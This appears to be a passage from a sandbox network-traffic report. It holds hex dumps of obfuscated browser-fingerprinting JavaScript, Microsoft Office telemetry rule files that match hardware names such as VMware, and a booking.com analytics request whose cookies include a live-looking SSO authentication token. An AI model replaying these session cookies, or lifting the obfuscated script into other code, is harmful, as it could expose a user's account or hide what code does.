2024-11-02 13:00:24 UTC	7678	IN	Data Raw: 66 66 66 38 0d 0a 76 61 72 20 74 64 5f 34 75 3d 74 64 5f 34 75 7c 7c 7b 7d 3b 74 64 5f 34 75 2e 74 64 5f 35 4b 3d 66 75 6e 63 74 69 6f 6e 28 74 64 5f 4c 2c 74 64 5f 43 29 7b 74 72 79 7b 76 61 72 20 74 64 5f 45 3d 5b 22 22 5d 3b 76 61 72 20 74 64 5f 6b 3d 30 3b 66 6f 72 28 76 61 72 20 74 64 5f 4a 3d 30 3b 74 64 5f 4a 3c 74 64 5f 43 2e 6c 65 6e 67 74 68 3b 2b 2b 74 64 5f 4a 29 7b 74 64 5f 45 2e 70 75 73 68 28 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 74 64 5f 4c 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 6b 29 5e 74 64 5f 43 2e 63 68 61 72 43 6f 64 65 41 74 28 74 64 5f 4a 29 29 29 3b 74 64 5f 6b 2b 2b 3b 0a 69 66 28 74 64 5f 6b 3e 3d 74 64 5f 4c 2e 6c 65 6e 67 74 68 29 7b 74 64 5f 6b 3d 30 3b 7d 7d 72 65 74 75 72 6e 20 74 64 5f 45 2e 6a Data Ascii: fff8var td_4u=td_4u\|\|{};td_4u.td_5K=function(td_L,td_C){try{var td_E=[""];var td_k=0;for(var td_J=0;td_J<td_C.length;++td_J){td_E.push(String.fromCharCode(td_L.charCodeAt(td_k)^td_C.charCodeAt(td_J)));td_k++;if(td_k>=td_L.length){td_k=0;}}return td_E.j
2024-11-02 13:00:24 UTC	16384	IN	Data Raw: 30 5c 78 33 35 5c 78 33 35 5c 78 33 34 5c 78 36 32 5c 78 36 36 5c 78 33 37 5c 78 36 32 5c 78 36 36 5c 78 36 34 5c 78 33 34 5c 78 36 36 5c 78 36 34 5c 78 33 36 5c 78 33 39 5c 78 36 36 5c 78 36 35 5c 78 33 33 5c 78 33 32 5c 78 33 32 5c 78 33 30 5c 78 33 37 5c 78 36 33 5c 78 36 35 5c 78 36 33 5c 78 33 39 5c 78 36 36 5c 78 36 35 5c 78 36 33 5c 78 33 39 5c 78 33 37 5c 78 33 34 5c 78 33 31 5c 78 36 31 5c 78 33 34 5c 78 33 30 5c 78 33 35 5c 78 33 39 5c 78 33 35 5c 78 36 31 5c 78 33 34 5c 78 33 36 5c 78 33 30 5c 78 33 37 5c 78 33 31 5c 78 33 34 5c 78 33 36 5c 78 33 30 5c 78 33 30 5c 78 36 32 5c 78 33 30 5c 78 33 38 5c 78 33 30 5c 78 33 30 5c 78 33 35 5c 78 36 32 5c 78 33 31 5c 78 33 31 5c 78 33 31 5c 78 33 37 5c 78 33 36 5c 78 33 31 5c 78 33 37 5c 78 33 30 5c 78 Data Ascii: 0\x35\x35\x34\x62\x66\x37\x62\x66\x64\x34\x66\x64\x36\x39\x66\x65\x33\x32\x32\x30\x37\x63\x65\x63\x39\x66\x65\x63\x39\x37\x34\x31\x61\x34\x30\x35\x39\x35\x61\x34\x36\x30\x37\x31\x34\x36\x30\x30\x62\x30\x38\x30\x30\x35\x62\x31\x31\x31\x37\x36\x31\x37\x30\x
2024-11-02 13:00:24 UTC	16384	IN	Data Raw: 28 31 37 34 2c 31 32 29 29 3a 6e 75 6c 6c 29 3b 0a 73 65 6c 66 2e 57 45 52 52 4f 52 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 31 62 30 35 35 34 62 66 37 62 66 64 34 66 64 36 39 66 65 33 32 32 30 37 63 65 63 39 66 65 63 39 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 31 62 30 35 35 34 62 66 37 62 66 64 34 66 64 36 39 66 65 33 32 32 30 37 63 65 63 39 66 65 63 39 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 31 62 30 35 35 34 62 66 37 62 66 64 34 66 64 36 39 66 65 33 32 32 30 37 63 65 63 39 66 65 63 39 2e 74 64 5f 66 28 31 38 36 2c 31 33 29 29 3a 6e 75 6c 6c 29 3b 0a 73 65 6c 66 2e 57 43 4c 4f 53 45 3d 28 28 74 79 70 65 6f 66 28 74 Data Ascii: (174,12)):null);self.WERROR=((typeof(td_4u.tdz_1b0554bf7bfd4fd69fe32207cec9fec9)!=="undefined"&&typeof(td_4u.tdz_1b0554bf7bfd4fd69fe32207cec9fec9.td_f)!=="undefined")?(td_4u.tdz_1b0554bf7bfd4fd69fe32207cec9fec9.td_f(186,13)):null);self.WCLOSE=((typeof(t
2024-11-02 13:00:24 UTC	16384	IN	Data Raw: 28 55 52 4c 29 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 26 26 28 74 64 5f 33 6e 2e 74 64 5f 30 6f 21 3d 3d 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 31 62 30 35 35 34 62 66 37 62 66 64 34 66 64 36 39 66 65 33 32 32 30 37 63 65 63 39 66 65 63 39 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 31 62 30 35 35 34 62 66 37 62 66 64 34 66 64 36 39 66 65 33 32 32 30 37 63 65 63 39 66 65 63 39 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 31 62 30 35 35 34 62 66 37 62 66 64 34 66 64 36 39 66 65 33 32 32 30 37 63 65 63 39 66 65 63 39 2e 74 64 5f 66 28 36 33 36 2c 37 29 29 3a 6e 75 6c 6c 29 29 26 26 28 21 74 64 5f 6b 53 29 29 3b 0a 69 66 28 74 64 Data Ascii: (URL)!==[][[]]+"")&&(td_3n.td_0o!==((typeof(td_4u.tdz_1b0554bf7bfd4fd69fe32207cec9fec9)!=="undefined"&&typeof(td_4u.tdz_1b0554bf7bfd4fd69fe32207cec9fec9.td_f)!=="undefined")?(td_4u.tdz_1b0554bf7bfd4fd69fe32207cec9fec9.td_f(636,7)):null))&&(!td_kS));if(td
2024-11-02 13:00:24 UTC	8704	IN	Data Raw: 78 36 34 5c 78 33 31 5c 78 33 39 5c 78 33 35 5c 78 33 35 5c 78 36 32 5c 78 33 39 5c 78 33 34 5c 78 33 33 5c 78 33 35 5c 78 36 34 5c 78 33 35 5c 78 33 31 5c 78 36 36 5c 78 36 31 5c 78 33 30 5c 78 33 32 5c 78 33 30 5c 78 33 36 5c 78 33 35 5c 78 33 33 5c 78 33 35 5c 78 33 36 5c 78 33 30 5c 78 33 35 5c 78 33 30 5c 78 33 30 5c 78 33 30 5c 78 33 37 5c 78 33 30 5c 78 33 33 5c 78 33 30 5c 78 33 31 5c 78 33 35 5c 78 36 31 5c 78 33 35 5c 78 33 31 5c 78 33 35 5c 78 33 33 5c 78 33 35 5c 78 33 37 5c 78 33 35 5c 78 33 36 5c 78 33 30 5c 78 33 33 5c 78 33 35 5c 78 33 32 5c 78 33 30 5c 78 33 34 5c 78 33 30 5c 78 36 31 5c 78 33 37 5c 78 33 38 5c 78 33 37 5c 78 36 36 5c 78 33 36 5c 78 33 37 5c 78 33 37 5c 78 33 34 5c 78 33 32 5c 78 36 36 5c 78 33 37 5c 78 36 33 5c 78 33 35 Data Ascii: x64\x31\x39\x35\x35\x62\x39\x34\x33\x35\x64\x35\x31\x66\x61\x30\x32\x30\x36\x35\x33\x35\x36\x30\x35\x30\x30\x30\x37\x30\x33\x30\x31\x35\x61\x35\x31\x35\x33\x35\x37\x35\x36\x30\x33\x35\x32\x30\x34\x30\x61\x37\x38\x37\x66\x36\x37\x37\x34\x32\x66\x37\x63\x35
2024-11-02 13:00:24 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-02 13:00:24 UTC	8192	IN	Data Raw: 66 66 66 38 0d 0a 4e 5b 33 5d 3e 3e 3e 31 36 3b 74 64 5f 68 4e 5b 33 5d 26 3d 36 35 35 33 35 3b 74 64 5f 68 4e 5b 32 5d 2b 3d 74 64 5f 4a 78 5b 32 5d 2a 74 64 5f 43 5a 5b 33 5d 3b 74 64 5f 68 4e 5b 31 5d 2b 3d 74 64 5f 68 4e 5b 32 5d 3e 3e 3e 31 36 3b 74 64 5f 68 4e 5b 32 5d 26 3d 36 35 35 33 35 3b 74 64 5f 68 4e 5b 32 5d 2b 3d 74 64 5f 4a 78 5b 33 5d 2a 74 64 5f 43 5a 5b 32 5d 3b 74 64 5f 68 4e 5b 31 5d 2b 3d 74 64 5f 68 4e 5b 32 5d 3e 3e 3e 31 36 3b 0a 74 64 5f 68 4e 5b 32 5d 26 3d 36 35 35 33 35 3b 74 64 5f 68 4e 5b 31 5d 2b 3d 74 64 5f 4a 78 5b 31 5d 2a 74 64 5f 43 5a 5b 33 5d 3b 74 64 5f 68 4e 5b 30 5d 2b 3d 74 64 5f 68 4e 5b 31 5d 3e 3e 3e 31 36 3b 74 64 5f 68 4e 5b 31 5d 26 3d 36 35 35 33 35 3b 74 64 5f 68 4e 5b 31 5d 2b 3d 74 64 5f 4a 78 5b 32 5d Data Ascii: fff8N[3]>>>16;td_hN[3]&=65535;td_hN[2]+=td_Jx[2]td_CZ[3];td_hN[1]+=td_hN[2]>>>16;td_hN[2]&=65535;td_hN[2]+=td_Jx[3]td_CZ[2];td_hN[1]+=td_hN[2]>>>16;td_hN[2]&=65535;td_hN[1]+=td_Jx[1]*td_CZ[3];td_hN[0]+=td_hN[1]>>>16;td_hN[1]&=65535;td_hN[1]+=td_Jx[2]
2024-11-02 13:00:24 UTC	16384	IN	Data Raw: 28 74 64 5f 34 75 2e 74 64 7a 5f 63 65 66 65 64 61 38 39 32 35 63 65 34 64 38 30 62 36 34 35 35 35 37 32 61 62 38 65 34 64 64 63 2e 74 64 5f 66 28 30 2c 31 30 29 29 3a 6e 75 6c 6c 29 3b 0a 76 61 72 20 74 64 5f 43 75 3d 74 64 5f 34 75 2e 74 64 5f 36 77 28 29 3b 69 66 28 21 74 64 5f 56 73 28 29 7c 7c 21 74 64 5f 43 75 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 7d 74 72 79 7b 76 61 72 20 74 64 5f 48 43 3d 74 64 5f 31 56 2b 22 2f 22 2b 74 64 5f 33 46 2b 74 64 5f 34 4a 3b 74 64 5f 48 43 3d 74 64 5f 48 43 2e 72 65 70 6c 61 63 65 28 2f 5b 5c 72 5c 6e 5d 2f 67 2c 22 22 29 3b 74 64 5f 43 75 2e 6f 70 65 6e 28 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 63 65 66 65 64 61 38 39 32 35 63 65 34 64 38 30 62 36 34 35 35 35 37 32 61 62 38 65 34 64 64 63 29 Data Ascii: (td_4u.tdz_cefeda8925ce4d80b6455572ab8e4ddc.td_f(0,10)):null);var td_Cu=td_4u.td_6w();if(!td_Vs()\|\|!td_Cu){return false;}try{var td_HC=td_1V+"/"+td_3F+td_4J;td_HC=td_HC.replace(/[\r\n]/g,"");td_Cu.open(((typeof(td_4u.tdz_cefeda8925ce4d80b6455572ab8e4ddc)
2024-11-02 13:00:24 UTC	16384	IN	Data Raw: 6c 5b 4e 75 6d 62 65 72 28 31 32 38 35 39 31 34 29 2e 74 6f 53 74 72 69 6e 67 28 33 35 29 5d 2b 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 36 65 32 30 30 66 38 39 30 39 64 64 34 33 30 37 61 36 63 37 66 38 64 37 32 31 30 37 32 61 32 34 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 75 2e 74 64 7a 5f 36 65 32 30 30 66 38 39 30 39 64 64 34 33 30 37 61 36 63 37 66 38 64 37 32 31 30 37 32 61 32 34 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 75 2e 74 64 7a 5f 36 65 32 30 30 66 38 39 30 39 64 64 34 33 30 37 61 36 63 37 66 38 64 37 32 31 30 37 32 61 32 34 2e 74 64 5f 66 28 31 35 34 2c 39 29 29 3a 6e 75 6c 6c 29 2b 74 64 5f 70 6c 5b 28 28 74 79 70 65 6f 66 28 74 64 5f 34 75 2e Data Ascii: l[Number(1285914).toString(35)]+((typeof(td_4u.tdz_6e200f8909dd4307a6c7f8d721072a24)!=="undefined"&&typeof(td_4u.tdz_6e200f8909dd4307a6c7f8d721072a24.td_f)!=="undefined")?(td_4u.tdz_6e200f8909dd4307a6c7f8d721072a24.td_f(154,9)):null)+td_pl[((typeof(td_4u.
2024-11-02 13:00:24 UTC	16384	IN	Data Raw: 33 35 5c 78 33 32 5c 78 33 35 5c 78 33 39 5c 78 33 31 5c 78 36 34 5c 78 33 31 5c 78 33 33 5c 78 33 35 5c 78 33 33 5c 78 33 31 5c 78 33 30 5c 78 33 35 5c 78 33 30 5c 78 33 35 5c 78 36 34 5c 78 33 34 5c 78 33 32 5c 78 33 35 5c 78 33 30 5c 78 33 35 5c 78 36 31 5c 78 33 35 5c 78 33 35 5c 78 33 30 5c 78 33 30 5c 78 33 30 5c 78 33 30 22 29 3b 0a 76 61 72 20 74 64 5f 34 75 3d 74 64 5f 34 75 7c 7c 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 74 64 5f 33 58 28 74 64 5f 44 4c 2c 74 64 5f 54 69 2c 74 64 5f 71 44 29 7b 76 61 72 20 74 64 5f 43 4d 3d 31 3b 76 61 72 20 74 64 5f 79 72 3d 31 3b 76 61 72 20 74 64 5f 72 4b 3d 33 30 30 30 30 3b 76 61 72 20 74 64 5f 6c 59 3d 32 35 30 3b 74 64 5f 44 4c 3d 28 74 79 70 65 6f 66 20 74 64 5f 44 4c 21 3d 3d 5b 5d 5b 5b 5d 5d 2b 22 22 29 3f Data Ascii: 35\x32\x35\x39\x31\x64\x31\x33\x35\x33\x31\x30\x35\x30\x35\x64\x34\x32\x35\x30\x35\x61\x35\x35\x30\x30\x30\x30");var td_4u=td_4u\|\|{};function td_3X(td_DL,td_Ti,td_qD){var td_CM=1;var td_yr=1;var td_rK=30000;var td_lY=250;td_DL=(typeof td_DL!==[][[]]+"")?

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:24 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:24 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 57f0feec-701e-0098-6847-2c395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130024Z-176bd8f9bc5t82pjhC1DFWycvg00000002100000000036g1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:24 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:24 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 99102dbc-c01e-0066-43c1-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130024Z-16547b76f7fnlcwwhC1DFWz6gw00000000w0000000000yym x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:24 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:24 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:24 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 0a26527a-001e-000b-1b0a-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130024Z-176bd8f9bc5hwksrhC1DFWf9wg000000022g000000005m46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:24 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:24 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: c6ea79c0-701e-0050-6324-2c6767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130024Z-r159446fcd72jcvrhC1DFWv4xg00000001ng0000000057w1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:24 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:24 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 7f7db364-701e-005c-2f05-2dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130024Z-15869dbbcc6tfpj2hC1DFWvt5g00000000mg0000000066ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-02 13:00:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49825	91.235.133.10	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:24 UTC	1512	OUT	GET /p-FHo0HUDOEv9fjh?180b8f734998350a=caAGBUAg9lBFu3V0ESghdWllttueUM_trDuAMZebskwgciR3TFk4EP1iUhhxcoXyiPi5ErnPtIwdnmoyRKsQDUWfYqx0ZHRInE9qMiJDJRgCU1IqSPzisuHma-LOAqGQNtRHiGcoxzCvIW8FLHSaBotMLVTZwLbHaUlRYmg HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB
2024-11-02 13:00:24 UTC	357	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:24 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 81 Content-Type: image/png
